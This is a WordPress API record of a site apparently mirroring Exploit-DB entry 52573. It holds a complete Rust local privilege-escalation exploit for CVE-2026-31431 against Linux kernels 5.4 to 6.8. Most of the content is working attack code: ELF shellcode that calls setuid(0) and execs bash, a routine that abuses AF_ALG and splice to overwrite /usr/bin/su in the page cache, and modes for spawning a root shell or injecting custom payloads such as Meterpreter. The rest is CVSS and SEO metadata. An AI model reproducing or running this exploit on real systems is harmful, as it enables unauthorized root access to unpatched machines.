{"id":56932,"date":"2026-05-26T10:35:21","date_gmt":"2026-05-26T10:35:21","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=56932"},"modified":"2026-05-26T10:35:21","modified_gmt":"2026-05-26T10:35:21","slug":"linux-kernel-68-local-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=56932","title":{"rendered":"Linux Kernel 6.8 &#8211; Local Privilege Escalation_EDB-ID:52573"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-26T15:27:57&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 5.4 &#8211; 6.8 &#8211; Local Privilege Escalation Google Dork: N\/A Date: 2026-04-30 Exploit Author: Long Fong Chan https:\/\/github.com\/iss4cf0ng Vendor Homepage: https:\/\/www.kernel.org\/ Software Link: https:\/\/git.kernel.org\/ Version:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-26T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-26T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Linux Kernel 6.8 &#8211; Local Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52573&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-31431&#8243;],&#8221;sourceData&#8221;:&#8221; * Exploit Title: Linux Kernel 5.4 &#8211; 6.8 &#8211; Local Privilege Escalation\\r\\n * Google Dork: N\/A\\r\\n * Date: 2026-04-30\\r\\n * Exploit Author: Long Fong Chan (https:\/\/github.com\/iss4cf0ng)\\r\\n * Vendor Homepage: https:\/\/www.kernel.org\/\\r\\n * Software Link: https:\/\/git.kernel.org\/\\r\\n * Version: Linux Kernel 5.4 &#8211; 6.8 (unpatched)\\r\\n * Tested on: Ubuntu 22.04, Debian 12\\r\\n * \\r\\n * Description:\\r\\n * Linux kernel AF_ALG (algif_aead) vulnerability allows local users\\r\\n * to perform arbitrary file overwrite in page cache via splice()\\r\\n * and AEAD crypto interface, leading to privilege escalation.\\r\\n *\\r\\n * This exploit overwrites \/usr\/bin\/su in memory and spawns a root shell.\\r\\n * \\r\\n * Requirements:\\r\\n * &#8211; Unprivileged local user\\r\\n * &#8211; algif_aead module loaded\\r\\n *\\r\\n * Usage:\\r\\n *   &#8211;test       Check vulnerability\\r\\n *   &#8211;exploit    Spawn root shell\\r\\n *   &#8211;bin \\u003cfile\\u003e Use custom payload\\r\\n *\/\\r\\n\\r\\nuse std::{env, fs, io};\\r\\nuse std::ffi::CString;\\r\\nuse std::fs::File;\\r\\nuse std::io::{Read, Write};\\r\\nuse std::os::unix::io::AsRawFd;\\r\\n\\r\\nconst TARGET_BINARY: \\u0026str = \\&#8221;\/usr\/bin\/su\\&#8221;;\\r\\nconst TEST_FILE: \\u0026str = \\&#8221;\/tmp\/.cve_test\\&#8221;;\\r\\n\\r\\n\/\/ Shellcode (\/bin\/bash)\\r\\n\/*\\r\\n; https:\/\/filippo.io\/linux-syscall-table\/\\r\\ndb 0x7f, &#8216;ELF&#8217;, 2, 1, 1, 0      ; e_ident\\r\\ndq 0                            ; padding\\r\\ndw 2                            ; e_type (ET_EXEC)\\r\\ndw 62                           ; e_machine (EM_X86_64)\\r\\ndd 1                            ; e_version\\r\\ndq 0x400078                     ; e_entry (Entry point)\\r\\ndq 0x40                         ; e_phoff (Program Header Offset)\\r\\ndq 0                            ; e_shoff\\r\\ndd 0                            ; e_flags\\r\\ndw 64                           ; e_ehsize\\r\\ndw 56                           ; e_phentsize\\r\\ndw 1                            ; e_phnum\\r\\ndw 0, 0, 0                      ; s_header info\\r\\n\\r\\n; Program Header\\r\\ndd 1                            ; p_type (PT_LOAD)\\r\\ndd 5                            ; p_flags (PF_R | PF_X)\\r\\ndq 0                            ; p_offset\\r\\ndq 0x400000                     ; p_vaddr\\r\\ndq 0x400000                     ; p_paddr\\r\\ndq 0x9e                         ; p_filesz\\r\\ndq 0x9e                         ; p_memsz\\r\\ndq 0x1000                       ; p_align\\r\\n\\r\\n; Program\\r\\n_start:\\r\\n    ; setuid(0)\\r\\n    xor eax, eax                ; clear eax\\r\\n    xor edi, edi                ; edi = 0 (UID 0)\\r\\n    mov al, 105                 ; syscall 105 (setuid)\\r\\n    syscall\\r\\n\\r\\n    ; execve(\\&#8221;\/bin\/bash\\&#8221;, NULL, NULL)\\r\\n    lea rdi, [rel path]         ; Load effective address of the string\\r\\n    xor esi, esi                ; argv = NULL\\r\\n    cdq                         ; edx = 0 (envp = NULL)\\r\\n    mov al, 59                  ; syscall 59 (execve)\\r\\n    syscall\\r\\n\\r\\n    ; exit(0)\\r\\n    xor edi, edi\\r\\n    push 60\\r\\n    pop rax                     ; syscall 60 (exit)\\r\\n    syscall\\r\\n\\r\\npath: db \\&#8221;\/bin\/bash\\&#8221;, 0\\r\\n*\/\\r\\nconst BASH_SHELLCODE: \\u0026[u8] = \\u0026[\\r\\n    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\\r\\n    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,\\r\\n    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\\r\\n    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\\r\\n    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\\r\\n    0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,\\r\\n    0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\\r\\n    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05,\\r\\n    0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,\\r\\n    0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00\\r\\n];\\r\\n\\r\\nunsafe fn inject_payload(fd: i32, payload: \\u0026[u8]) {\\r\\n    for i in (0..payload.len()).step_by(4) {\\r\\n        let mut chunk = [0u8; 4];\\r\\n        let end = std::cmp::min(i + 4, payload.len());\\r\\n        chunk[..end &#8211; i].copy_from_slice(\\u0026payload[i..end]);\\r\\n        \\r\\n        do_kernel_injection(fd, i, \\u0026chunk);\\r\\n        \\r\\n        if i % 40 == 0 {\\r\\n            io::stdout().flush().ok(); \\r\\n        }\\r\\n    }\\r\\n}\\r\\n\\r\\n\/\/ Linux kernel injection\\r\\nunsafe fn do_kernel_injection(target_fd: i32, t_idx: usize, chunk: \\u0026[u8]) {\\r\\n    let master_fd = libc::socket(38, libc::SOCK_SEQPACKET, 0);\\r\\n    let mut addr: [u8; 88] = [0; 88]; \\r\\n    addr[0..2].copy_from_slice(\\u002638u16.to_ne_bytes());\\r\\n    std::ptr::copy_nonoverlapping(\\&#8221;aead\\&#8221;.as_ptr(), addr.as_mut_ptr().add(2), 4);\\r\\n    let name = \\&#8221;authencesn(hmac(sha256),cbc(aes))\\&#8221;;\\r\\n    std::ptr::copy_nonoverlapping(name.as_ptr(), addr.as_mut_ptr().add(24), name.len());\\r\\n    libc::bind(master_fd, addr.as_ptr() as _, 88);\\r\\n\\r\\n    let mut key = [0u8; 40];\\r\\n    key[0..8].copy_from_slice(\\u0026[0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10]);\\r\\n    libc::setsockopt(master_fd, 279, 1, key.as_ptr() as _, 40);\\r\\n    libc::setsockopt(master_fd, 279, 5, \\u00264u32 as *const _ as _, 4);\\r\\n\\r\\n    let op_fd = libc::accept(master_fd, std::ptr::null_mut(), std::ptr::null_mut());\\r\\n    let mut cmsg_buf = [0u8; 128];\\r\\n    let mut data = [0u8; 8];\\r\\n    data[0..4].copy_from_slice(b\\&#8221;AAAA\\&#8221;);\\r\\n    data[4..8].copy_from_slice(chunk);\\r\\n    \\r\\n    let mut iov = libc::iovec { iov_base: data.as_mut_ptr() as _, iov_len: 8 };\\r\\n    let mut msg: libc::msghdr = std::mem::zeroed();\\r\\n    msg.msg_iov = \\u0026mut iov;\\r\\n    msg.msg_iovlen = 1;\\r\\n    msg.msg_control = cmsg_buf.as_mut_ptr() as _;\\r\\n    \\r\\n    let mut p = cmsg_buf.as_mut_ptr();\\r\\n\\r\\n    let mut h1: libc::cmsghdr = std::mem::zeroed();\\r\\n    h1.cmsg_len = libc::CMSG_LEN(4) as _;\\r\\n    h1.cmsg_level = 279;\\r\\n    h1.cmsg_type = 3;\\r\\n    *(p as *mut libc::cmsghdr) = h1;\\r\\n    p = p.add(libc::CMSG_SPACE(4) as usize);\\r\\n\\r\\n    let mut h2: libc::cmsghdr = std::mem::zeroed();\\r\\n    h2.cmsg_len = libc::CMSG_LEN(20) as _;\\r\\n    h2.cmsg_level = 279;\\r\\n    h2.cmsg_type = 2;\\r\\n    *(p as *mut libc::cmsghdr) = h2;\\r\\n    *(libc::CMSG_DATA(p as _) as *mut u32) = 16;\\r\\n    p = p.add(libc::CMSG_SPACE(20) as usize);\\r\\n\\r\\n    let mut h3: libc::cmsghdr = std::mem::zeroed();\\r\\n    h3.cmsg_len = libc::CMSG_LEN(4) as _;\\r\\n    h3.cmsg_level = 279;\\r\\n    h3.cmsg_type = 4;\\r\\n    *(p as *mut libc::cmsghdr) = h3;\\r\\n    *(libc::CMSG_DATA(p as _) as *mut u32) = 8;\\r\\n    \\r\\n    msg.msg_controllen = 32 + 16 + 16; \\r\\n\\r\\n    libc::sendmsg(op_fd, \\u0026msg, 0x8000);\\r\\n    \\r\\n    let mut pipes = [0i32; 2];\\r\\n    libc::pipe(pipes.as_mut_ptr());\\r\\n    let mut off: i64 = 0;\\r\\n    \\r\\n    libc::splice(target_fd, \\u0026mut off, pipes[1], std::ptr::null_mut(), t_idx + 4, 0);\\r\\n    libc::splice(pipes[0], std::ptr::null_mut(), op_fd, std::ptr::null_mut(), t_idx + 4, 0);\\r\\n    \\r\\n    let mut drain = [0u8; 1024];\\r\\n    libc::recv(op_fd, drain.as_mut_ptr() as _, 1024, 0x40);\\r\\n\\r\\n    libc::close(op_fd); libc::close(master_fd);\\r\\n    libc::close(pipes[0]); libc::close(pipes[1]);\\r\\n}\\r\\n\\r\\nfn main() -\\u003e io::Result\\u003c()\\u003e {\\r\\n    let args: Vec\\u003cString\\u003e = env::args().collect();\\r\\n    println!(\\&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\&#8221;);\\r\\n    println!(\\&#8221;  CVE-2026-31431 Linux Copy-Fail Exploit (Rust)   \\&#8221;);\\r\\n    println!(\\&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\&#8221;);\\r\\n\\r\\n    if args.len() \\u003c 2 {\\r\\n        println!(\\&#8221;Usage: {} [&#8211;test | &#8211;exploit | &#8211;bin \\u003cfile\\u003e]\\&#8221;, args[0]);\\r\\n        return Ok(());\\r\\n    }\\r\\n\\r\\n    match args[1].as_str() {\\r\\n\\r\\n        \\&#8221;&#8211;test\\&#8221; =\\u003e {\\r\\n            \/\/ Test vulnerability\\r\\n\\r\\n            println!(\\&#8221;[*] Mode: Vulnerability Testing\\&#8221;);\\r\\n            \\r\\n            let mut f = File::create(TEST_FILE)?;\\r\\n            f.write_all(\\u0026vec![b&#8217;A&#8217;; 64])?;\\r\\n            let target = File::open(TEST_FILE)?;\\r\\n            \\r\\n            unsafe {\\r\\n                inject_payload(target.as_raw_fd(), b\\&#8221;HACK\\&#8221;)\\r\\n            };\\r\\n            \\r\\n            let mut res = vec![0u8; 4];\\r\\n            File::open(TEST_FILE)?.read_exact(\\u0026mut res)?;\\r\\n            \\r\\n            if \\u0026res == b\\&#8221;HACK\\&#8221; {\\r\\n                println!(\\&#8221;\\\\x1b[31;1m[!] VULNERABLE!\\\\x1b[0m\\&#8221;);\\r\\n            }\\r\\n            else {\\r\\n                println!(\\&#8221;[+] SAFE\\&#8221;);\\r\\n            }\\r\\n            \\r\\n            fs::remove_file(TEST_FILE).ok();\\r\\n        }\\r\\n\\r\\n        \\&#8221;&#8211;exploit\\&#8221; =\\u003e {\\r\\n           \/\/ Vulnerability exploitation, provide interactive shell\\r\\n           \\r\\n           println!(\\&#8221;[*] Mode: Privilege Escalation (Default: \/bin\/bash)\\&#8221;);\\r\\n            \\r\\n            let target = File::open(TARGET_BINARY)?;\\r\\n            unsafe {\\r\\n                inject_payload(target.as_raw_fd(), BASH_SHELLCODE)\\r\\n            };\\r\\n            \\r\\n            println!(\\&#8221;\\\\n[+] Spawning root shell&#8230;\\&#8221;);\\r\\n            \\r\\n            let cmd = CString::new(\\&#8221;su\\&#8221;).unwrap();\\r\\n            unsafe {\\r\\n                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());\\r\\n            }\\r\\n        }\\r\\n\\r\\n        \\&#8221;&#8211;bin\\&#8221; =\\u003e {\\r\\n            \/\/ Load customized shellcode bin file, such as Meterpreter\\r\\n\\r\\n            if args.len() \\u003c 3 {\\r\\n                println!(\\&#8221;[!] Error: Please specify a bin file.\\&#8221;);\\r\\n                return Ok(());\\r\\n            }\\r\\n\\r\\n            let bin_path = \\u0026args[2];\\r\\n\\r\\n            println!(\\&#8221;[*] Mode: Custom Shellcode Injection\\&#8221;);\\r\\n            println!(\\&#8221;[*] Loading: {}\\&#8221;, bin_path);\\r\\n\\r\\n            let custom_payload = fs::read(bin_path)?;\\r\\n            let target = File::open(TARGET_BINARY)?;\\r\\n            \\r\\n            unsafe {\\r\\n                inject_payload(target.as_raw_fd(), \\u0026custom_payload) \\r\\n            };\\r\\n\\r\\n            println!(\\&#8221;\\\\n[+] Injection complete. Executing {}&#8230;\\&#8221;, TARGET_BINARY);\\r\\n            \\r\\n            let cmd = CString::new(\\&#8221;su\\&#8221;).unwrap();\\r\\n            unsafe {\\r\\n                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());\\r\\n            }\\r\\n        }\\r\\n        \\r\\n        _ =\\u003e println!(\\&#8221;[!] Unknown option.\\&#8221;)\\r\\n    }\\r\\n\\r\\n    Ok(())\\r\\n}&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52573&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52573&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-26T15:27:57&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 5.4 &#8211; 6.8 &#8211; Local Privilege Escalation Google Dork: N\/A Date: 2026-04-30 Exploit Author: Long Fong Chan https:\/\/github.com\/iss4cf0ng Vendor Homepage: https:\/\/www.kernel.org\/&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-56932","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Linux Kernel 6.8 - Local Privilege Escalation_EDB-ID:52573 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=56932\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Linux Kernel 6.8 - Local Privilege Escalation_EDB-ID:52573 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-26T15:27:57&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 5.4 &#8211; 6.8 &#8211; Local Privilege Escalation Google Dork: N\/A Date: 2026-04-30 Exploit Author: Long Fong Chan https:\/\/github.com\/iss4cf0ng Vendor Homepage: https:\/\/www.kernel.org\/...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=56932\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-26T10:35:21+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56932#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56932\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Linux Kernel 6.8 &#8211; Local Privilege Escalation_EDB-ID:52573\",\"datePublished\":\"2026-05-26T10:35:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56932\"},\"wordCount\":1889,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56932#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56932\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56932\",\"name\":\"Linux Kernel 6.8 - Local Privilege Escalation_EDB-ID:52573 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-26T10:35:21+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56932#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56932\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56932#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Linux Kernel 6.8 &#8211; Local Privilege Escalation_EDB-ID:52573\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Linux Kernel 6.8 - Local Privilege Escalation_EDB-ID:52573 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=56932","og_locale":"en_US","og_type":"article","og_title":"Linux Kernel 6.8 - Local Privilege Escalation_EDB-ID:52573 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-26T15:27:57&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 5.4 &#8211; 6.8 &#8211; Local Privilege Escalation Google Dork: N\/A Date: 2026-04-30 Exploit Author: Long Fong Chan https:\/\/github.com\/iss4cf0ng Vendor Homepage: https:\/\/www.kernel.org\/...","og_url":"https:\/\/zero.redgem.net\/?p=56932","og_site_name":"zero redgem","article_published_time":"2026-05-26T10:35:21+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=56932#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=56932"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Linux Kernel 6.8 &#8211; Local Privilege Escalation_EDB-ID:52573","datePublished":"2026-05-26T10:35:21+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=56932"},"wordCount":1889,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=56932#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=56932","url":"https:\/\/zero.redgem.net\/?p=56932","name":"Linux Kernel 6.8 - Local Privilege Escalation_EDB-ID:52573 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-26T10:35:21+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=56932#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=56932"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=56932#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Linux Kernel 6.8 &#8211; Local Privilege Escalation_EDB-ID:52573"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56932","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\